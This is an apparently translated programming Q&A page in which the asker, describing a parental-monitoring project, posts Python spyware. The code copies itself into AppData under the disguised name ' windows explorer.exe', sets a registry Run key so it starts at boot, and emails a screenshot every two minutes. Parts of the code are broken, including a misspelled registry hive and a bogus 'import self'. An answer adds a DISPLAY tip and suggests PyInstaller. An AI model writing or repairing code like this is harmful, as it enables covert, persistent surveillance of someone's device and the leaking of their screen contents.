[英]How can i make my python.exe file to start automtically when system is reboot
我正在研究一个名为“父母如何监控孩子”的项目,我必须提出我的想法,即我编写一个 python 脚本,在特定时间间隔后将其子设备的屏幕截图发送到其父邮件。
现在我想添加如何使我的 python code.exe 文件在系统重新启动时自动启动
不工作我的启动代码
在我看来,启动代码是
def become_persistent(self):
evil_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(evil_file_location):
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + evil_file_location + '"', shell=True)
我的 Python 完整代码
import smtplib
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
import time
import os
from smtplib import SMTP
import shutil
from PIL import ImageGrab
import subprocess
import self
def become_persistent(self):
hidden_file_location = os.environ["appdata"] + "\\ windows explorer.exe"
if not os.path.exists(hidden_file_location):
shutil.copyfile(sys.executable, hidden_file_location)
subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v test /t REG_SZ /d "' + hidden_file_location + '"', shell=True)
become_persistent()
s: SMTP = smtplib.SMTP('smtp.gmail.com', port)
s.starttls()
s.login("email of parents", "password")
msg = MIMEMultipart()
msg['Subject'] = 'Test Email'
msg['From'] = "sender email"
msg['To'] = "recepient email"
while True:
snapshot = ImageGrab.grab()
# Using png because it cannot write mode RGBA as JPEG
file = "scr.png"
snapshot.save(file)
# Opening the image file and then attaching it
with open(file, 'rb') as f:
img = MIMEImage(f.read())
img.add_header('Content-Disposition', 'attachment', filename=file)
msg.attach(img)
os.remove(file)
s.sendmail("sender email", "recipent email", msg.as_string())
# Change this value to your liking
time.sleep(120)
试着把线
os.environ['DISPLAY'] = ':0'
就在你的进口之下。
有多种方法可以在重启时启动 python 应用程序(不是强制转换文件 in.exe) 在 Linux 中启动时运行 Python 脚本
但是,如果仍然想转换 python 文件 in.exe 使用下面的 python库。
pip 安装pyinstaller
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.